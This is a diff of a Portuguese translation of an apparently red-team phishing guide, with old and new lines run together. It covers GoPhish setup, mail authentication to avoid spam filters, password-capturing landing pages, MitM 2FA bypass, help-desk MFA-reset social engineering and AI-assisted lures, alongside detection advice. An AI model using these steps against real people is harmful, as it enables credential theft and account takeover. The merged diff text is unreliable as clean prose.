- [https://github.com/laramies/theHarvester](https://github.com/laramies/theHarvester) (100% grátis) - [https://github.com/laramies/theHarvester](https://github.com/laramies/theHarvester) (100% free)
- [https://phonebook.cz/](https://phonebook.cz) (100% grátis) - [https://phonebook.cz/](https://phonebook.cz) (100% free)
- [https://maildb.io/](https://maildb.io) - [https://maildb.io/](https://maildb.io)
- [https://hunter.io/](https://hunter.io) - [https://hunter.io/](https://hunter.io)
- [https://anymailfinder.com/](https://anymailfinder.com) - [https://anymailfinder.com/](https://anymailfinder.com)
Para **descobrir mais** endereços de e-mail válidos ou **verificar os que** você já descobriu você pode checar se consegue brute-force os servidores SMTP da vítima. [Saiba como verificar/descobrir endereços de e-mail aqui](../../network-services-pentesting/pentesting-smtp/index.html#username-bruteforce-enumeration).\ Para **descobrir mais** endereços de email válidos ou **verificar os que** você já descobriu, você pode checar se consegue brute-force nos servidores SMTP da vítima. [Learn how to verify/discover email address here](../../network-services-pentesting/pentesting-smtp/index.html#username-bruteforce-enumeration).\
Além disso, não se esqueça de que, se os usuários usam qualquer portal web para acessar seus e-mails, você pode verificar se ele é vulnerável a username brute force, e explorar a vulnerabilidade se possível. Além disso, não esqueça que se os usuários usam **qualquer web portal para acessar seus mails**, você pode verificar se ele é vulnerável a **username brute force**, e explorar a vulnerabilidade se possível.
## Configurando GoPhish ## Configurando GoPhish
### Instalação ### Installation
Você pode baixá-lo de [https://github.com/gophish/gophish/releases/tag/v0.11.0](https://github.com/gophish/gophish/releases/tag/v0.11.0) Você pode baixar em [https://github.com/gophish/gophish/releases/tag/v0.11.0](https://github.com/gophish/gophish/releases/tag/v0.11.0)
Baixe e descompacte dentro de `/opt/gophish` e execute `/opt/gophish/gophish`\ Download e descompacte dentro de `/opt/gophish` e execute `/opt/gophish/gophish`\
Você receberá uma senha para o usuário admin na porta 3333 na saída. Portanto, acesse essa porta e use essas credenciais para alterar a senha do admin. Pode ser necessário fazer um tunnel dessa porta para local: Você receberá uma senha para o usuário admin na porta 3333 na saída. Portanto, acesse essa porta e use essas credenciais para alterar a senha do admin. Pode ser necessário tunelar essa porta para local:
```bash ```bash
ssh -L 3333:127.0.0.1:3333 <user>@<ip> ssh -L 3333:127.0.0.1:3333 <user>@<ip>
``` ```
@ -96,7 +96,7 @@ ssh -L 3333:127.0.0.1:3333 <user>@<ip>
**Configuração do certificado TLS** **Configuração do certificado TLS**
Antes desta etapa, você deve **já ter comprado o domínio** que vai usar e ele deve estar **apontando** para o **IP do VPS** onde você está configurando **gophish**. Antes desta etapa, você deve ter **já comprado o domínio** que vai usar e ele deve estar **apontando** para o **IP do VPS** onde você está configurando o **gophish**.
```bash ```bash
DOMAIN="<domain>" DOMAIN="<domain>"
wget https://dl.eff.org/certbot-auto wget https://dl.eff.org/certbot-auto
@ -112,7 +112,7 @@ mkdir /opt/gophish/ssl_keys
cp "/etc/letsencrypt/live/$DOMAIN/privkey.pem" /opt/gophish/ssl_keys/key.pem cp "/etc/letsencrypt/live/$DOMAIN/privkey.pem" /opt/gophish/ssl_keys/key.pem
cp "/etc/letsencrypt/live/$DOMAIN/fullchain.pem" /opt/gophish/ssl_keys/key.crt cp "/etc/letsencrypt/live/$DOMAIN/fullchain.pem" /opt/gophish/ssl_keys/key.crt
``` ```
**Mail configuration** **Configuração de e-mail**
Comece instalando: `apt-get install postfix` Comece instalando: `apt-get install postfix`
@ -127,9 +127,9 @@ Depois adicione o domínio aos seguintes arquivos:
`myhostname = <domain>`\ `myhostname = <domain>`\
`mydestination = $myhostname, <domain>, localhost.com, localhost` `mydestination = $myhostname, <domain>, localhost.com, localhost`
Por fim modifique os arquivos **`/etc/hostname`** e **`/etc/mailname`** para o seu nome de domínio e **reinicie seu VPS.** Finalmente, modifique os arquivos **`/etc/hostname`** e **`/etc/mailname`** para o seu domínio e **reinicie seu VPS.**
Agora, crie um **DNS A record** de `mail.<domain>` apontando para o **ip address** do VPS e um **DNS MX** apontando para `mail.<domain>` Agora, crie um **DNS A record** de `mail.<domain>` apontando para o **endereço IP** do VPS e um **DNS MX** record apontando para `mail.<domain>`
Agora vamos testar o envio de um email: Agora vamos testar o envio de um email:
```bash ```bash
@ -138,7 +138,7 @@ echo "This is the body of the email" | mail -s "This is the subject line" test@e
``` ```
**Configuração do Gophish** **Configuração do Gophish**
Pare a execução do gophish e vamos configurá-lo.\ Interrompa a execução do gophish e vamos configurá-lo.\
Modifique `/opt/gophish/config.json` para o seguinte (observe o uso de https): Modifique `/opt/gophish/config.json` para o seguinte (observe o uso de https):
```bash ```bash
{ {
@ -213,7 +213,7 @@ case $1 in
start|stop|status) "$1" ;; start|stop|status) "$1" ;;
esac esac
``` ```
Conclua a configuração do serviço e verifique-o executando: Finalize a configuração do serviço e verifique-o fazendo:
```bash ```bash
mkdir /var/log/gophish mkdir /var/log/gophish
chmod +x /etc/init.d/gophish chmod +x /etc/init.d/gophish
@ -224,13 +224,13 @@ service gophish status
ss -l | grep "3333\|443" ss -l | grep "3333\|443"
service gophish stop service gophish stop
``` ```
## Configurando servidor de mail e domínio ## Configurando servidor de email e domínio
### Espere e seja legítimo ### Aguarde e seja legítimo
Quanto mais antigo for um domínio, menos provável será que ele seja marcado como spam. Portanto você deve esperar o máximo de tempo possível (pelo menos 1 semana) antes da avaliação de phishing. Além disso, se você colocar uma página relacionada a um setor com boa reputação, a reputação obtida será melhor. Quanto mais antigo for um domínio, menos provável que ele seja marcado como spam. Portanto, você deve esperar o máximo possível (pelo menos 1 semana) antes do phishing assessment. Além disso, se você publicar uma página relacionada a um setor com boa reputação, a reputação obtida será melhor.
Note que mesmo que você tenha que esperar uma semana, você pode finalizar a configuração de tudo agora. Observe que, mesmo que você precise esperar uma semana, pode terminar de configurar tudo agora.
### Configure o registro Reverse DNS (rDNS) ### Configure o registro Reverse DNS (rDNS)
@ -238,21 +238,21 @@ Defina um registro rDNS (PTR) que resolva o endereço IP do VPS para o nome de d
### Sender Policy Framework (SPF) Record ### Sender Policy Framework (SPF) Record
You must **configure a SPF record for the new domain**. If you don't know what is a SPF record [**read this page**](../../network-services-pentesting/pentesting-smtp/index.html#spf). Você deve **configurar um SPF record para o novo domínio**. Se você não sabe o que é um SPF record [**read this page**](../../network-services-pentesting/pentesting-smtp/index.html#spf).
You can use [https://www.spfwizard.net/](https://www.spfwizard.net) to generate your SPF policy (use the IP of the VPS machine) Você pode usar [https://www.spfwizard.net/](https://www.spfwizard.net) para gerar sua política SPF (use o IP da máquina VPS)
![](<../../images/image (1037).png>) ![](<../../images/image (1037).png>)
Este é o conteúdo que deve ser definido dentro de um registro TXT no domínio: Este é o conteúdo que deve ser definido dentro de um TXT record no domínio:
```bash ```bash
v=spf1 mx a ip4:ip.ip.ip.ip ?all v=spf1 mx a ip4:ip.ip.ip.ip ?all
``` ```
### Registro DMARC (Domain-based Message Authentication, Reporting & Conformance) ### Autenticação, Relatórios e Conformidade Baseadas em Domínio (DMARC) — Registro
Você deve **configurar um registro DMARC para o novo domínio**. Se você não sabe o que é um registro DMARC [**read this page**](../../network-services-pentesting/pentesting-smtp/index.html#dmarc). Você deve **configurar um registro DMARC para o novo domínio**. Se você não sabe o que é um registro DMARC [**read this page**](../../network-services-pentesting/pentesting-smtp/index.html#dmarc).
Você deve criar um novo registro DNS TXT apontando o nome de host `_dmarc.<domain>` com o seguinte conteúdo: Você precisa criar um novo registro DNS TXT apontando o hostname `_dmarc.<domain>` com o seguinte conteúdo:
```bash ```bash
v=DMARC1; p=none v=DMARC1; p=none
``` ```
@ -260,7 +260,7 @@ v=DMARC1; p=none
Você deve **configurar um DKIM para o novo domínio**. Se você não sabe o que é um registro DMARC [**leia esta página**](../../network-services-pentesting/pentesting-smtp/index.html#dkim). Você deve **configurar um DKIM para o novo domínio**. Se você não sabe o que é um registro DMARC [**leia esta página**](../../network-services-pentesting/pentesting-smtp/index.html#dkim).
Este tutorial é baseado em: [https://www.digitalocean.com/community/tutorials/how-to-install-and-configure-dkim-with-postfix-on-debian-wheezy](https://www.digitalocean.com/community/tutorials/how-to-install-and-configure-dkim-with-postfix-on-debian-wheezy) This tutorial is based on: [https://www.digitalocean.com/community/tutorials/how-to-install-and-configure-dkim-with-postfix-on-debian-wheezy](https://www.digitalocean.com/community/tutorials/how-to-install-and-configure-dkim-with-postfix-on-debian-wheezy)
> [!TIP] > [!TIP]
> Você precisa concatenar ambos os valores B64 que a chave DKIM gera: > Você precisa concatenar ambos os valores B64 que a chave DKIM gera:
@ -272,12 +272,12 @@ Este tutorial é baseado em: [https://www.digitalocean.com/community/tutorials/h
### Test your email configuration score ### Test your email configuration score
Você pode fazer isso usando [https://www.mail-tester.com/](https://www.mail-tester.com)\ Você pode fazer isso usando [https://www.mail-tester.com/](https://www.mail-tester.com)\
Basta acessar a página e enviar um e-mail para o endereço que eles fornecem: Basta acessar a página e enviar um e-mail para o endereço que eles informam:
```bash ```bash
echo "This is the body of the email" | mail -s "This is the subject line" test-iimosa79z@srv1.mail-tester.com echo "This is the body of the email" | mail -s "This is the subject line" test-iimosa79z@srv1.mail-tester.com
``` ```
Você também pode **verificar sua configuração de e-mail** enviando um e-mail para `check-auth@verifier.port25.com` e **lendo a resposta** (para isso você precisará **abrir** a porta **25** e ver a resposta no arquivo _/var/mail/root_ se enviar o e-mail como root).\ Você também pode **verificar sua configuração de email** enviando um email para `check-auth@verifier.port25.com` e **ler a resposta** (para isso você precisará **abrir** port **25** e ver a resposta no arquivo _/var/mail/root_ se você enviar o email como root).\
Verifique se você passa todos os testes: Verifique se você passou em todos os testes:
```bash ```bash
========================================================== ==========================================================
Summary of Results Summary of Results
@ -288,40 +288,40 @@ DKIM check: pass
Sender-ID check: pass Sender-ID check: pass
SpamAssassin check: ham SpamAssassin check: ham
``` ```
Você também pode enviar uma **mensagem para um Gmail sob seu controle**, e verificar os **cabeçalhos do e-mail** na sua caixa de entrada do Gmail, `dkim=pass` deve estar presente no campo de cabeçalho `Authentication-Results`. Você também pode enviar uma **mensagem para uma conta Gmail sob seu controle**, e verificar os **cabeçalhos do e-mail** na sua caixa de entrada do Gmail, `dkim=pass` deve estar presente no campo de cabeçalho `Authentication-Results`.
``` ```
Authentication-Results: mx.google.com; Authentication-Results: mx.google.com;
spf=pass (google.com: domain of contact@example.com designates --- as permitted sender) smtp.mail=contact@example.com; spf=pass (google.com: domain of contact@example.com designates --- as permitted sender) smtp.mail=contact@example.com;
dkim=pass header.i=@example.com; dkim=pass header.i=@example.com;
``` ```
### Removendo da Lista Negra do Spamhouse ### Removendo da Spamhouse Blacklist
A página [www.mail-tester.com](https://www.mail-tester.com) pode indicar se o seu domínio está sendo bloqueado pelo Spamhouse. Você pode solicitar a remoção do seu domínio/IP em: [https://www.spamhaus.org/lookup/](https://www.spamhaus.org/lookup/) A página [www.mail-tester.com](https://www.mail-tester.com) pode indicar se o seu domínio está sendo bloqueado pelo spamhouse. Você pode solicitar que seu domínio/IP seja removido em: [https://www.spamhaus.org/lookup/](https://www.spamhaus.org/lookup/)
### Removendo da Lista Negra da Microsoft ### Removendo da Microsoft Blacklist
Você pode solicitar a remoção do seu domínio/IP em [https://sender.office.com/](https://sender.office.com). Você pode solicitar que seu domínio/IP seja removido em [https://sender.office.com/](https://sender.office.com).
## Criar & Lançar Campanha GoPhish ## Criar & Lançar GoPhish Campaign
### Perfil de Envio ### Perfil de Envio
- Defina um **nome para identificar** o perfil do remetente - Defina um **nome para identificar** o perfil do remetente
- Decida de qual conta você vai enviar os phishing emails. Sugestões: _noreply, support, servicedesk, salesforce..._ - Decida de qual conta você i enviar os emails de phishing. Sugestões: _noreply, support, servicedesk, salesforce..._
- Você pode deixar em branco o username e a password, mas certifique-se de marcar o Ignore Certificate Errors - Você pode deixar em branco o nome de usuário e a senha, mas certifique-se de marcar "Ignore Certificate Errors"
![](<../../images/image (253) (1) (2) (1) (1) (2) (2) (3) (3) (5) (3) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (10) (15) (2).png>) ![](<../../images/image (253) (1) (2) (1) (1) (2) (2) (3) (3) (5) (3) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (10) (15) (2).png>)
> [!TIP] > [!TIP]
> Recomenda-se usar a funcionalidade "**Send Test Email**" para testar se tudo está funcionando.\ > É recomendado usar a funcionalidade "**Send Test Email**" para testar se tudo está funcionando.\
> Recomendo **enviar os emails de teste para endereços 10min mails** para evitar ficar na blacklist ao realizar os testes. > Recomendo **enviar os emails de teste para endereços 10min mail** para evitar ser blacklisted ao realizar os testes.
### Email Template ### Email Template
- Defina um **nome para identificar** o template - Defina um **nome para identificar** o template
- Depois escreva um **subject** (nada estranho, apenas algo que você esperaria ler em um email normal) - Em seguida escreva um **assunto** (nada estranho, apenas algo que você esperaria ler em um email comum)
- Certifique-se de que marcou "**Add Tracking Image**" - Certifique-se de que marcou "**Add Tracking Image**"
- Escreva o **template do email** (você pode usar variáveis como no exemplo a seguir): - Escreva o **modelo de email** (você pode usar variáveis como no exemplo a seguir):
```html ```html
<html> <html>
<head> <head>
@ -340,56 +340,56 @@ WRITE HERE SOME SIGNATURE OF SOMEONE FROM THE COMPANY
</body> </body>
</html> </html>
``` ```
Note que, **para aumentar a credibilidade do email**, é recomendado usar alguma assinatura presente em um email do cliente. Sugestões: Observe que, **para aumentar a credibilidade do e-mail**, é recomendado usar alguma assinatura retirada de um e-mail do cliente. Sugestões:
- Envie um email para um **endereço inexistente** e verifique se a resposta contém alguma assinatura. - Envie um e-mail para um **endereço inexistente** e verifique se a resposta contém alguma assinatura.
- Procure por **emails públicos** como info@ex.com ou press@ex.com ou public@ex.com e envie um email para eles e aguarde a resposta. - Procure por **e-mails públicos** como info@ex.com ou press@ex.com ou public@ex.com e envie-lhes um e-mail aguardando a resposta.
- Tente contactar **algum email válido descoberto** e aguarde a resposta - Tente contatar **algum e-mail válido descoberto** e aguarde a resposta
![](<../../images/image (80).png>) ![](<../../images/image (80).png>)
> [!TIP] > [!TIP]
> O Modelo de Email também permite **anexar arquivos para enviar**. Se você também quiser roubar desafios NTLM usando alguns arquivos/documentos especialmente criados [leia esta página](../../windows-hardening/ntlm/places-to-steal-ntlm-creds.md). > O Email Template também permite **anexar arquivos para enviar**. Se você também quiser roubar desafios NTLM usando alguns arquivos/documentos especialmente criados [read this page](../../windows-hardening/ntlm/places-to-steal-ntlm-creds.md).
### Landing Page ### Landing Page
- Escreva um **nome** - Escreva um **nome**
- **Escreva o código HTML** da página web. Note que você pode **importar** páginas web. - **Escreva o código HTML** da página web. Note que você pode **importar** páginas web.
- Marque **Capture Submitted Data** e **Capture Passwords** - Marque **Capture Submitted Data** e **Capture Passwords**
- Defina uma **redireção** - Defina uma **redirection**
![](<../../images/image (826).png>) ![](<../../images/image (826).png>)
> [!TIP] > [!TIP]
> Normalmente você precisará modificar o código HTML da página e fazer alguns testes localmente (talvez usando algum servidor Apache) **até que fique satisfeito com os resultados.** Depois, cole esse código HTML na caixa.\ > Normalmente você precisará modificar o código HTML da página e fazer alguns testes localmente (talvez usando algum servidor Apache) **até ficar satisfeito com os resultados.** Depois, cole esse código HTML na caixa.\
> Note que se você precisar **usar alguns recursos estáticos** para o HTML (talvez alguns arquivos CSS e JS) você pode salvá-los em _**/opt/gophish/static/endpoint**_ e então acessá-los a partir de _**/static/\<filename>**_ > Note que se precisar **usar alguns recursos estáticos** para o HTML (talvez alguns arquivos CSS e JS) você pode salvá-los em _**/opt/gophish/static/endpoint**_ e então acessá-los a partir de _**/static/\<filename>**_
> [!TIP] > [!TIP]
> Para a redireção você poderia **redirecionar os usuários para a página principal legítima** da vítima, ou redirecioná-los para _/static/migration.html_ por exemplo, colocar um **spinning wheel (**[**https://loading.io/**](https://loading.io)**) por 5 segundos e então indicar que o processo foi bem-sucedido**. > Para a redirection você pode **redirecionar os usuários para a página principal legítima** da vítima, ou redirecioná-los para _/static/migration.html_ por exemplo, colocar uma **spinning wheel (**[**https://loading.io/**](https://loading.io)**) por 5 segundos e então indicar que o processo foi bem-sucedido**.
### Users & Groups ### Users & Groups
- Defina um nome - Defina um nome
- **Importe os dados** (note que, para usar o template do exemplo, você precisa do firstname, last name e email address de cada usuário) - **Importe os dados** (note que para usar o template do exemplo você precisa do primeiro nome, sobrenome e endereço de e-mail de cada usuário)
![](<../../images/image (163).png>) ![](<../../images/image (163).png>)
### Campaign ### Campaign
Finalmente, crie uma campanha selecionando um nome, o email template, a landing page, a URL, o sending profile e o grupo. Note que a URL será o link enviado às vítimas Por fim, crie uma campanha selecionando um nome, o email template, a landing page, a URL, o sending profile e o grupo. Note que a URL será o link enviado às vítimas
Note que o **Sending Profile permite enviar um email de teste para ver como ficará o email de phishing final**: Note que o **Sending Profile permite enviar um e-mail de teste para ver como ficará o e-mail de phishing final**:
![](<../../images/image (192).png>) ![](<../../images/image (192).png>)
> [!TIP] > [!TIP]
> Eu recomendaria **enviar os emails de teste para endereços 10min mails** para evitar ser listado em blacklists ao fazer testes. > Eu recomendaria **enviar os e-mails de teste para endereços 10min mails** para evitar ser blacklisted durante os testes.
Uma vez que tudo esteja pronto, basta lançar a campanha! Uma vez que tudo esteja pronto, apenas lance a campanha!
## Website Cloning ## Website Cloning
Se, por qualquer motivo, você quiser clonar o website verifique a página a seguir: Se por algum motivo você quiser clonar o website, confira a seguinte página:
{{#ref}} {{#ref}}
@ -398,7 +398,7 @@ clone-a-website.md
## Backdoored Documents & Files ## Backdoored Documents & Files
Em algumas avaliações de phishing (principalmente para Red Teams) você também vai querer **enviar arquivos contendo algum tipo de backdoor** (talvez um C2 ou talvez apenas algo que dispare uma autenticação).\ Em algumas avaliações de phishing (principalmente para Red Teams) você também vai querer **enviar arquivos contendo algum tipo de backdoor** (talvez um C2 ou talvez algo que apenas dispare uma autenticação).\
Confira a página a seguir para alguns exemplos: Confira a página a seguir para alguns exemplos:
@ -410,53 +410,53 @@ phishing-documents.md
### Via Proxy MitM ### Via Proxy MitM
O ataque anterior é bastante esperto pois você está falsificando um website real e coletando as informações inseridas pelo usuário. Infelizmente, se o usuário não colocou a senha correta ou se a aplicação que você falsificou está configurada com 2FA, **essas informações não permitirão que você se passe pelo usuário enganado**. O ataque anterior é bastante inteligente, pois você está falsificando um site real e coletando as informações inseridas pelo usuário. Infelizmente, se o usuário não inserir a senha correta ou se a aplicação que você falsificou estiver configurada com 2FA, **essas informações não permitirão que você se passe pelo usuário enganado**.
É aqui que ferramentas como [**evilginx2**](https://github.com/kgretzky/evilginx2)**,** [**CredSniper**](https://github.com/ustayready/CredSniper) e [**muraena**](https://github.com/muraenateam/muraena) são úteis. Essa ferramenta permite gerar um ataque MitM. Basicamente, o ataque funciona da seguinte forma: É aqui que ferramentas como [**evilginx2**](https://github.com/kgretzky/evilginx2)**,** [**CredSniper**](https://github.com/ustayready/CredSniper) e [**muraena**](https://github.com/muraenateam/muraena) são úteis. Essa ferramenta permitirá gerar um ataque MitM. Basicamente, o ataque funciona da seguinte forma:
1. Você **impersona o formulário de login** da página real. 1. Você **se passa pelo formulário de login** da página real.
2. O usuário **envia** suas **credenciais** para sua página falsa e a ferramenta as encaminha para a página real, **verificando se as credenciais funcionam**. 2. O usuário **envia** suas **credentials** para sua página falsa e a ferramenta envia essas credenciais para a página real, **verificando se as credentials funcionam**.
3. Se a conta estiver configurada com **2FA**, a página MitM solicitará o código e, assim que o **usuário o introduzir**, a ferramenta o enviará para a página web real. 3. Se a conta estiver configurada com **2FA**, a página MitM solicitará o código e, uma vez que o **usuário o introduza**, a ferramenta o enviará para a página real.
4. Uma vez que o usuário esteja autenticado você (como atacante) terá **capturado as credenciais, o 2FA, o cookie e qualquer informação** de cada interação enquanto a ferramenta realiza o MitM. 4. Uma vez que o usuário esteja autenticado, você (como atacante) terá **capturado as credentials, o 2FA, os cookies e qualquer informação** de cada interação enquanto a ferramenta está realizando o MitM.
### Via VNC ### Via VNC
E se, em vez de **enviar a vítima para uma página maliciosa** com o mesmo visual da original, você a enviar para uma **sessão VNC com um browser conectado à página real**? Você poderá ver o que ela faz, roubar a senha, o MFA usado, os cookies...\ E se, ao invés de **enviar a vítima para uma página maliciosa** com a mesma aparência da original, você a encaminhar para uma **sessão VNC com um navegador conectado à página real**? Você poderá ver o que ela faz, roubar a senha, o MFA usado, os cookies...\
Você pode fazer isso com [**EvilnVNC**](https://github.com/JoelGMSec/EvilnoVNC) Você pode fazer isso com [**EvilnVNC**](https://github.com/JoelGMSec/EvilnoVNC)
## Detecting the detection ## Detecting the detection
Obviamente uma das melhores maneiras de saber se você foi pego é **procurar seu domínio em blacklists**. Se ele aparecer listado, de alguma forma seu domínio foi detectado como suspeito.\ Obviamente uma das melhores formas de saber se você foi descoberto é **procurar seu domínio em blacklists**. Se ele aparecer listado, de alguma forma seu domínio foi detectado como suspeito.\
Uma forma simples de verificar se seu domínio aparece em alguma blacklist é usar [https://malwareworld.com/](https://malwareworld.com) Uma maneira fácil de checar se seu domínio aparece em alguma blacklist é usar [https://malwareworld.com/](https://malwareworld.com)
No entanto, há outras maneiras de saber se a vítima está **ativamente procurando por atividade suspeita de phishing na rede** como explicado em: No entanto, existem outras formas de saber se a vítima está **ativamente procurando por atividades suspeitas de phishing na internet**, como explicado em:
{{#ref}} {{#ref}}
detecting-phising.md detecting-phising.md
{{#endref}} {{#endref}}
Você pode **comprar um domínio com um nome muito semelhante** ao domínio da vítima **e/ou gerar um certificado** para um **subdomínio** de um domínio controlado por você **contendo** a **palavra-chave** do domínio da vítima. Se a **vítima** realizar qualquer tipo de interação DNS ou HTTP com eles, você saberá que **ela está ativamente procurando** por domínios suspeitos e precisará ser muito discreto. Você pode **comprar um domínio com um nome muito similar** ao domínio da vítima **e/ou gerar um certificado** para um **subdomínio** de um domínio controlado por você **contendo** a **palavra-chave** do domínio da vítima. Se a **vítima** realizar qualquer tipo de interação **DNS ou HTTP** com eles, você saberá que **ela está ativamente procurando** por domínios suspeitos e precisará ser muito stealth.
### Evaluate the phishing ### Evaluate the phishing
Use [**Phishious** ](https://github.com/Rices/Phishious) para avaliar se seu email vai acabar na pasta de spam, se será bloqueado ou se terá sucesso. Use [**Phishious** ](https://github.com/Rices/Phishious) para avaliar se seu e-mail irá para a pasta de spam, se será bloqueado ou se terá sucesso.
## High-Touch Identity Compromise (Help-Desk MFA Reset) ## High-Touch Identity Compromise (Help-Desk MFA Reset)
Conjuntos de intrusão modernos cada vez mais pulam iscas por email inteiramente e **diretamente miram o fluxo de trabalho do service-desk / identity-recovery** para derrotar MFA. O ataque é totalmente "living-off-the-land": uma vez que o operador possui credenciais válidas ele pivota com ferramentas administrativas nativas nenhum malware é necessário. Conjuntos de intrusão modernos cada vez mais pulam iscas por e-mail inteiramente e **miram diretamente o serviço de suporte / fluxo de recuperação de identidade** para derrotar MFA. O ataque é totalmente "living-off-the-land": uma vez que o operador possua credentials válidas, ele pivota com ferramentas administrativas embutidas nenhum malware é necessário.
### Attack flow ### Attack flow
1. Recon da vítima 1. Recon da vítima
* Colete detalhes pessoais & corporativos do LinkedIn, vazamentos de dados, GitHub público, etc. * Colete detalhes pessoais & corporativos do LinkedIn, breaches de dados, GitHub público, etc.
* Identifique identidades de alto valor (executivos, TI, finanças) e enumere o **processo exato do help-desk** para reset de senha / MFA. * Identifique identidades de alto valor (executivos, TI, financeiro) e enumere o **exato processo de help-desk** para reset de senha / MFA.
2. Social engineering em tempo real 2. Engenharia social em tempo real
* Ligue por telefone, Teams ou chat para o help-desk enquanto se faz passar pelo alvo (frequentemente com **spoofed caller-ID** ou **cloned voice**). * Ligue, use Teams ou chat com o help-desk enquanto se passa pela vítima (frequentemente com **caller-ID spoofado** ou **voz clonada**).
* Forneça os PII coletados anteriormente para passar na verificação baseada em conhecimento. * Forneça o PII coletado anteriormente para passar pela verificação baseada em conhecimento.
* Convença o agente a **resetar o segredo do MFA** ou realizar um **SIM-swap** em um número móvel registrado. * Convença o agente a **resetar o segredo MFA** ou realizar um **SIM-swap** em um número de celular registrado.
3. Ações imediatas pós-acesso (≤60 min em casos reais) 3. Ações imediatas pós-acesso (≤60 min em casos reais)
* Estabeleça um foothold através de qualquer web SSO portal. * Estabeleça um foothold através de qualquer portal web SSO.
* Enumere AD / AzureAD com ferramentas nativas (nenhum binário é dropado): * Enumere AD / AzureAD com ferramentas embutidas (nenhum binário dropado):
```powershell ```powershell
# list directory groups & privileged roles # list directory groups & privileged roles
Get-ADGroup -Filter * -Properties Members | ?{$_.Members -match $env:USERNAME} Get-ADGroup -Filter * -Properties Members | ?{$_.Members -match $env:USERNAME}
@ -467,56 +467,56 @@ Get-MgDirectoryRole | ft DisplayName,Id
# Enumerate devices the account can login to # Enumerate devices the account can login to
Get-MgUserRegisteredDevice -UserId <user@corp.local> Get-MgUserRegisteredDevice -UserId <user@corp.local>
``` ```
* Movimento lateral com **WMI**, **PsExec**, ou agentes legítimos de **RMM** já liberados no ambiente. * Movimento lateral com **WMI**, **PsExec**, ou agentes legítimos **RMM** já whitelistados no ambiente.
### Detection & Mitigation ### Detection & Mitigation
* Trate a recuperação de identidade pelo help-desk como uma **operação privilegiada** exija step-up auth & aprovação do gerente. * Trate a recuperação de identidade do help-desk como uma **operação privilegiada** exija step-up auth & aprovação do gerente.
* Implemente regras de **Identity Threat Detection & Response (ITDR)** / **UEBA** que alertem sobre: * Implemente **Identity Threat Detection & Response (ITDR)** / regras **UEBA** que alertem sobre:
* Método de MFA alterado + autenticação de novo dispositivo / geo. * Método de MFA alterado + autenticação a partir de novo dispositivo / geolocalização.
* Elevação imediata do mesmo principal (user-→-admin). * Elevação imediata do mesmo principal (user-→-admin).
* Grave chamadas do help-desk e exija um **call-back para um número já registrado** antes de qualquer reset. * Grave chamadas do help-desk e exija um **call-back para um número já registrado** antes de qualquer reset.
* Implemente **Just-In-Time (JIT) / Privileged Access** para que contas recém-resetadas não herdem automaticamente tokens de alto privilégio. * Implemente **Just-In-Time (JIT) / Privileged Access** para que contas recém-resetadas **não** herdem automaticamente tokens de alto privilégio.
--- ---
## At-Scale Deception SEO Poisoning & “ClickFix” Campaigns ## At-Scale Deception SEO Poisoning & “ClickFix” Campaigns
Grupos commodity compensam o custo de operações de alto contato com ataques em massa que transformam **motores de busca & redes de anúncios no canal de entrega**. Grupos commodity compensam o custo de operações high-touch com ataques em massa que transformam **mecanismos de busca & redes de anúncios no canal de entrega**.
1. **SEO poisoning / malvertising** empurra um resultado falso como `chromium-update[.]site` para os anúncios de topo. 1. **SEO poisoning / malvertising** impulsiona um resultado falso como `chromium-update[.]site` para o topo dos anúncios de busca.
2. A vítima baixa um pequeno **first-stage loader** (frequentemente JS/HTA/ISO). Exemplos vistos pela Unit 42: 2. A vítima baixa um pequeno **first-stage loader** (frequentemente JS/HTA/ISO). Exemplos observados pela Unit 42:
* `RedLine stealer` * `RedLine stealer`
* `Lumma stealer` * `Lumma stealer`
* `Lampion Trojan` * `Lampion Trojan`
3. O loader exfiltra cookies do browser + DBs de credenciais, então puxa um **silent loader** que decide *em tempo real* se vai implantar: 3. O loader exfiltra cookies do navegador + bancos de credenciais, então puxa um **silent loader** que decide *em tempo real* se irá desplegar:
* RAT (por exemplo AsyncRAT, RustDesk) * RAT (ex.: AsyncRAT, RustDesk)
* ransomware / wiper * ransomware / wiper
* componente de persistência (registry Run key + scheduled task) * componente de persistência (Run key no registro + scheduled task)
### Hardening tips ### Hardening tips
* Bloqueie domínios recém-registrados & aplique **Advanced DNS / URL Filtering** em *search-ads* assim como em e-mail. * Bloqueie domínios recém-registrados & aplique **Advanced DNS / URL Filtering** em *search-ads* assim como em e-mail.
* Restrinja instalação de software a pacotes MSI assinados / Store, negue execução de `HTA`, `ISO`, `VBS` por política. * Restrinja instalação de software a pacotes MSI assinados / Store, negue execução de `HTA`, `ISO`, `VBS` por política.
* Monitore por processos filhos de browsers que abram instaladores: * Monitore por processos filhos de navegadores abrindo instaladores:
```yaml ```yaml
- parent_image: /Program Files/Google/Chrome/* - parent_image: /Program Files/Google/Chrome/*
and child_image: *\\*.exe and child_image: *\\*.exe
``` ```
* Faça hunting por LOLBins frequentemente abusados por first-stage loaders (por exemplo `regsvr32`, `curl`, `mshta`). * Faça hunt por LOLBins frequentemente abusados por first-stage loaders (ex.: `regsvr32`, `curl`, `mshta`).
--- ---
## AI-Enhanced Phishing Operations ## AI-Enhanced Phishing Operations
Atacantes agora encadeiam **LLM & voice-clone APIs** para iscas totalmente personalizadas e interação em tempo real. Atacantes agora encadeiam **LLM & APIs de clonagem de voz** para iscas totalmente personalizadas e interação em tempo real.
| Layer | Example use by threat actor | | Layer | Example use by threat actor |
|-------|-----------------------------| |-------|-----------------------------|
|Automation|Generate & send >100 k emails / SMS with randomised wording & tracking links.| |Automação|Gerar & enviar >100k e-mails / SMS com texto randomizado & links de tracking.|
|Generative AI|Produce *one-off* emails referencing public M&A, inside jokes from social media; deep-fake CEO voice in callback scam.| |Generative AI|Produzir e-mails *one-off* referenciando M&A públicos, piadas internas de redes sociais; voz deep-fake do CEO em golpe por chamada.|
|Agentic AI|Autonomously register domains, scrape open-source intel, craft next-stage mails when a victim clicks but doesnt submit creds.| |Agentic AI|Registrar domínios autonomamente, raspar intel open-source, criar e-mails da próxima etapa quando uma vítima clica mas não submete credentials.|
**Defence:** **Defence:**
• Adicione **banners dinâmicos** destacando mensagens enviadas por automação não confiável (via anomalias ARC/DKIM). • Adicione **banners dinâmicos** destacando mensagens enviadas por automação não confiável (via anomalias ARC/DKIM).
